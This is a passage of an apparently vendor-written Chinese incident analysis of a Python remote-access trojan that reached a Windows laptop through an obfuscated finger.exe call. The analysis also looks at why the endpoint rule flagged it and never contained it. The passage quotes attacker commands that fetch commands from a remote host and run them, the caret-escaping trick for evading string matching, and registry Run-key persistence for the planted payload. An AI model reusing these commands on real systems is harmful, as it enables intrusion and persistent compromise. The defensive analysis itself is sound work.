手指:1977年的协议在2026年仍在传递恶意软件
手指协议比网络更古老,在每个重要的服务器上都被禁用,并且仍然是默认Windows安装中的一个有效的恶意软件传递渠道。在这里,它植入了一个Python远程访问木马(RAT),并在整个过程中都在发出警报。一个真正的妥协淹没在成千上万的良性伪装中,直到某些东西切入噪声。一个已编译的Python远程访问木马在员工的笔记本电脑上每次登录时都会重新启动,而公司的终端代理一直在对此发出警报。每个警报都是配置为仅警报,因此它标记但从未包含。没有采取任何行动。传递机制是揭示真相的关键:一个混淆的finger命令,用插入符转义以读作f^i^n^g^e^r,利用古老的Finger协议从远程主机拉取攻击者命令并进行内联运行。之后的链条是现代而常见的:一个被签名的Python解释器作为生活依赖的二进制文件被放置,一个.pyc有效载荷在C:\ProgramData\中被准备,一个注册表的运行键用于持久性,以及一个小时后由PowerShell放置的第二阶段模块。没有任何新颖的地方。所有这些都与一个活跃的2025-2026活动集群相匹配。缺失的是将警报连接成一个故事的人。这就是这个案例变得有趣的地方:客户在出现问题的两天前将其终端遥测连接到Artemis。预期的行为是,终端代理并不是盲目的。它对可疑的Python执行的行为规则在这个主机上生效,对于这个规则整体而言有成千上万的警报事件。问题是两方面的。规则被配置为仅警报。它标记,但从未控制。并且它很吵。相同的规则在环境中的两个其他机器上也无害地触发(一个运行普通开发工具,另一个是供应商的科学软件安装程序),而这两者产生了大部分的警报数量。在开发人员的笔记本电脑上执行Python是预期的。但从C:\ProgramData\执行的Python在finger的祖先之下就不是。但是规则中没有任何内容能分辨出这些。唯一真正妥协的主机在规则自己构建的稻草堆中是一根针。每个警报都是个别真实的但集体被忽略。缺口不是检测,而是警报发出与有人理解其意义之间的距离。交付:1977年的协议Finger协议可以追溯到1977年。它回答一个问题,"谁在这个主机上登录?",通过TCP端口79,几乎没有人再运行finger守护进程。但finger.exe仍然随Windows一起发布。在2020年,研究人员John Page (hyp3rlinx)展示了它可以被转变为一个文件下载器:查询user@host,无论远程“finger服务器”返回什么,都会以文本形式返回,你可以直接通过cmd管道输入。LOLBAS项目从那时起一直在使用这个入口,以经典形式finger user@host | more +2 | cmd。more +2会去掉协议的前言,以便只有攻击者的命令进入shell。在这个终端上,相同的想法出现为一个for循环:cmd.exe /K for /f "skip=8 delims=" %T in ( 'f^i^n^g^e^r adfvjnujihbkj@REDACTED-DELIVERY-DOMAIN' ) do %T 有两个事情值得拆解。for /f "skip=8"是去掉头部的原始操作:去掉finger响应的前八行,把剩下的每一行视为命令并执行(do %T)。而二进制名称是写成f^i^n^g^e^r。插入符是cmd.exe的转义字符,在解析时被丢弃,因此启动的进程是finger。但是,任何对命令行进行文字字符串匹配的检测规则都能看到f^i^n^g^e^r却捕捉不到它。插入插入符的做法源自Daniel Bohannon的DOSfuscation工作,是一种古老的、文档完善的模糊处理,而将其与finger结合正是当前活动所做的。使用finger的重点是规避。它不是HTTP,因此网络代理和TLS检查看不到它。finger.exe是一个合法的签名Windows二进制文件,因此应用程序白名单允许其运行。而79号端口足够不寻常,以至于大多数环境没有规则对此进行监视,同时finger.exe作为一个本机二进制文件的执行在孤立状态下看起来也并不显眼。链条,一阶段接一阶段。finger调用返回后两秒,准备好的有效载荷启动,并且持久性在同一时刻生效:cmd /c start /b C:\ProgramData\Python\pythonw.exe C:\ProgramData\Python\main.pyc cmd /c reg add HKCU\...\CurrentVersion\Run /v Py /t REG_SZ /d "...pythonw.exe ...main.pyc" /f >nul 2 >& 1 这里的解释器pythonw.exe是由攻击者放置的真正有效的、由Python软件基金会签名的Windows版Python,指向他们自己的编译main.pyc。这是生活依赖的举动。恶意逻辑位于.pyc中,并在每个签名检查和声誉服务都会称其为干净的二进制中运行。pythonw.exe(与python.exe相对)在没有控制台窗口的情况下运行,因此用户的屏幕上没有任何闪烁。start /b加强了这一点
本站免费、广告极少。如果觉得有帮助,可以请我们喝杯咖啡 —— 任何金额都对持续运营有实际帮助。
☕请我喝杯咖啡